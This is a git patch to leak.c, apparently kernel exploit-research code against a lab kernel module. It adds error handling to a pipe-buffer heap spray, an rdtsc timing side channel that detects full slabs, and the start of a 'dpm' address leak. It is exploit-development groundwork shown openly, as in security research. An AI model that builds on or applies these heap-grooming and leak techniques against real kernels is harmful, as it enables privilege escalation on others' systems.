From ff990329f6fd855938ffe5016e0d68b822a200fd Mon Sep 17 00:00:00 2001 From: twoneis Date: Mon, 28 Apr 2025 20:49:06 +0200 Subject: [PATCH] structure and errors, starting dpm leak --- code/leak.c | 45 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 11 deletions(-) diff --git a/code/leak.c b/code/leak.c index 7a2fa8bc0..756d886ef 100644 --- a/code/leak.c +++ b/code/leak.c @@ -36,7 +36,7 @@ error(char *origin) printf("%s: ENFILE\n", origin); break; default: - printf("%s: unknown\n", origin); + printf("%s: %i: unknown\n", origin, errno); } exit(-1); } @@ -67,7 +67,6 @@ int main(void) { printf("main: start\n"); - FILE *device = fopen(LKM_DEVICE, "r+"); printf("main: spray to reduce TLB noise part 1: %u objects\n", SPRAY / 2); @@ -84,6 +83,7 @@ main(void) } // May need socket and two parts instead + FILE *device = fopen(LKM_DEVICE, "r+"); printf("main: fopen: %p\n", device); if (!device) { printf( @@ -97,14 +97,21 @@ main(void) size_t t_delta; size_t t_prev = -1; size_t last_slab = -1; + int found = 0; for (size_t i = SPRAY / 2; i < SPRAY; i++) { - pipe2(spray[i], O_NONBLOCK); + if (pipe2(spray[i], O_NONBLOCK) < 0) { + error("main: spray two: pipe2"); + } size_t t0 = rdtsc_begin(); - fcntl(spray[i][0], F_SETPIPE_SZ, 8192); + if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) { + error("main: spray two: fcntl"); + } size_t t1 = rdtsc_end(); - write(spray[i][1], buffer, 8); + if (write(spray[i][1], buffer, 8) < 0) { + error("main: spray two: write"); + } t_delta = t0 - t1; @@ -112,7 +119,9 @@ main(void) if (last_slab == (size_t)-1) { last_slab = i; } else if (i - last_slab == OBJS_PER_SLAB) { - printf("Exit from sidechannel\n"); + printf( + "main: spray two: two full slabs detected\n"); + found = 1; break; } else { last_slab = -1; @@ -122,13 +131,27 @@ main(void) t_prev = t_delta; } - for (size_t i = 0; i < PIPES; i++) { - // Pipe buffer allocation primitive - pipe2(pipes[i], O_NONBLOCK); - fcntl(pipes[i][0], F_SETPIPE_SZ, 8192); - write(pipes[i][1], buffer, 8); + if (!found) { + printf( + "main: reached end of spray without detecting two full slabs"); + exit(-1); } + printf("main: pipe allocation primitive: %i\n", PIPES); + for (size_t i = 0; i < PIPES; i++) { + if (pipe2(spray[i], O_NONBLOCK) < 0) { + error("main: spray one: pipe2"); + } + if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) { + error("main: spray one: fcntl"); + } + if (write(spray[i][1], buffer, 8) < 0) { + error("main: spray one: write"); + } + } + + size_t dpm_base; + fclose(device); printf("main: done\n"); }